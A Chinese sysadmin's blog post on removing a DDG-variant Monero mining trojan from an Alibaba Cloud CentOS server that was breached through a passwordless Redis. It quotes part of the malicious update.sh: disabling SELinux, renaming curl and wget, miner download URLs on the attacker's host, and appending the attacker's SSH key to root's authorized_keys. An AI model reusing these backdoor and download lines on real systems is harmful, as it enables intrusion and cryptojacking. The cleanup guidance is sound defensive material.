阿里云centos被矿机病毒攻击
1 前言
操作系统:centos7
攻击者IP:185.181.10.234
攻击者意图:开设后门,执行挖矿程序,并且设定定时任务
漏洞:redis 未设置密码,也没有授权访问。
阿里云警告信息
尊敬的****:云盾云安全中心检测到您的服务器:*.*.*.*(app)出现了紧急安全事件:挖矿程序,建议您立即登录云安全中心控制台-安全告警查看事件详情,并根据事件建议的方案进行处理。
云盾云安全中心,中的安全提示
顺手百度了一下,发现该病毒信息如下。
发现这是一款在Linux/Windows双平台的挖矿病毒木马,该木马是通过Redis漏洞传播的挖矿木马DDG的变种,使用Go语言1.10编译使用了大量的基础库文件。该木马会大量消耗服务器资源,难以清除并具有内网扩散功能。
2 分离病毒信息:
定位病毒进程
指令命令top
top
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-tj58AVfx-1584087564131)(https://i.loli.net/2020/03/13/1VYefM3gODqISmZ.png)]
发现 sysupdata 和 networkservice
占用了大量的系统资源,结合控制台的的报错信息,肯定没得跑了
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-j40oi9rM-1584087564132)(https://i.loli.net/2020/03/13/4xdNBmCA3lYXRcg.png)]
(1)处理异常进程 sysupdate
a 获取进程位置
ls -l /proc/15237/exe
lrwxrwxrwx 1 root root /proc/15237/exe -> /etc/sysupdat
b 关闭进程
kill -9 15237
c 删除文件
rm -f /etc/sysupdate
发现出错了
rm: cannot remove ‘/etc/sysupdate’: Operation not permitted
无法删除,看起来是做了保护的,可能是使用chattr命令对文件做了锁定
解除锁定再次尝试删除
chattr -i /etc/sysupdate
rm -f /etc/sysupdate
ok 删除成功
(2) 按照上面的流程删除 networkservice异常进程
删除定时任务
查看定时任务
more /var/log/cron log | grep "update"
Oct 30 12:30:01 iabczwz93qwr9mrtmr CROND[31702]: (root) CMD (sh /etc/update.sh >/dev/null 2>&1)
Oct 30 13:10:01 iabczwz93qwr9mrtmr CROND[32719]: (root) CMD (sh /etc/update.sh )
发现有一个名为update.sh的异常脚本
好奇心下看了看脚本内容
vi /etc/update.sh
!/bin/sh
setenforce 0 2>dev/null
echo SELINUX=disabled > /etc/sysconfig/selinux 2>/dev/null
sync && echo 3 >/proc/sys/vm/drop_caches
crondir='/var/spool/cron/'"$USER"
cont=`cat ${crondir}`
ssht=`cat /root/.ssh/authorized_keys`
echo 1 > /etc/sysupdates
rtdir="/etc/sysupdates"
bbdir="/usr/bin/curl"
bbdira="/usr/bin/cur"
ccdir="/usr/bin/wget"
ccdira="/usr/bin/wge"
mv /usr/bin/wget /usr/bin/get
mv /usr/bin/xget /usr/bin/get
mv /usr/bin/get /usr/bin/wge
mv /usr/bin/curl /usr/bin/url
mv /usr/bin/xurl /usr/bin/url
mv /usr/bin/url /usr/bin/cur
miner_url="https://de.gsearch.com.de/api/sysupdate"
miner_url_backup="http://185.181.10.234/E5DB0E07C3D7BE80V520/sysupdate"
miner_size="854364"
.....
可以看到它在这里做了好几件事,首先是往/etc目录下面下载以下文件:
- /etc/config.json:挖矿配置文件,包含钱包地址与挖矿参数等;
- /etc/sysupdate:XMR挖矿程序主体;
- /etc/sysupdates:XMR挖矿程序主体备份;
- /etc/sysguard:根据获取到的系统版本下载针对性Payload执行,包含通信模块用于监控并保证病毒的正常运行以及更新;
- /etc/networkservice:漏洞检测模块,针对Redis、MSSQL、ThinkPHP、WebLogic等软件漏洞和系统漏洞扫描并入侵其他的主机;
- /etc/update.sh:本脚本文件。
简单分析下/etc/update.sh文件,发现它做了以下事情:
- 下载病毒模块;
- 在kill_miner_proc函数中清除其他挖矿病毒;
- 定时任务存活;
- 为文件添加chattr锁定;
- 修改IPTABLES;
- 清除日志;
- 关闭SELinux;
- ……
还有个后门,创建/root/.ssh/authorized_keys,添加病毒作者自己的公钥,保证其可以使用SSH登录到服务器,具体代码如下:
...
chmod 700 /root/.ssh/
echo >> /root/.ssh/authorized_keys
chmod 600 root/.ssh/authorized_keys
echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC9WKiJ7yQ6HcafmwzDMv1RKxPdJI/oeXUWDNW1MrWiQNvKeSeSSdZ6NaYVqfSJgXUSgiQbktTo8Fhv43R9FWDvVhSrwPoFBz9SAfgO06jc0M2kGVNS9J2sLJdUB9u1KxY5IOzqG4QTgZ6LP2UUWLG7TGMpkbK7z6G8HAZx7u3l5+Vc82dKtI0zb/ohYSBb7pK/2QFeVa22L+4IDrEXmlv3mOvyH5DwCh3HcHjtDPrAhFqGVyFZBsRZbQVlrPfsxXH2bOLc1PMrK1oG8dyk8gY8m4iZfr9ZDGxs4gAqdWtBQNIN8cvz4SI+Jv9fvayMH7f+Kl2yXiHN5oD9BVTkdIWX root@u17" >> /root/.ssh/authorized_keys
...
我们来查看下这个后门:
vi /root/.ssh/authorized_keys
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC9WKiJ7yQ6HcafmwzDMv1RKxPdJI/oeXUWDNW1MrWiQNvKeSeSSdZ6NaYVqfSJgXUSgiQbktTo8Fhv43R9FWDvVhSrwPoFBz9SAfgO06jc0M2kGVNS9J2sLJdUB9u1KxY5IOzqG4QTgZ6LP2UUWLG7TGMpkbK7z6G8HAZx7u3l5+Vc82dKtI0zb/ohYSBb7pK/2QFeVa22L+4IDrEXmlv3mOvyH5DwCh3HcHjtDPrAhFqGVyFZBsRZbQVlrPfsxXH2bOLc1PMrK1oG8dyk8gY8m4iZfr9ZDGxs4gAqdWtBQNIN8cvz4SI+Jv9fvayMH7f+Kl2yXiHN5oD9BVTkdIWX root@u17
代码也看完了,删除了吧
执行命令
chattr -i /etc/update.sh
chattr -i /etc/config.json
chattr -i /etc/sysupdate
chattr -i /etc/sysupdates
chattr -i /etc/networkservice
rm -f /etc/update.sh
rm -f /etc/config.json
rm -f /etc/sysupdate
rm -f /etc/sysupdates
rm -f /etc/networkservice
chattr -i /root/.ssh/authorized_keys
rm -f /root/.ssh/authorized_keys
然后再阿里云的控制版本中,将他的IP封禁了,防止有看不到的后门。
任务完成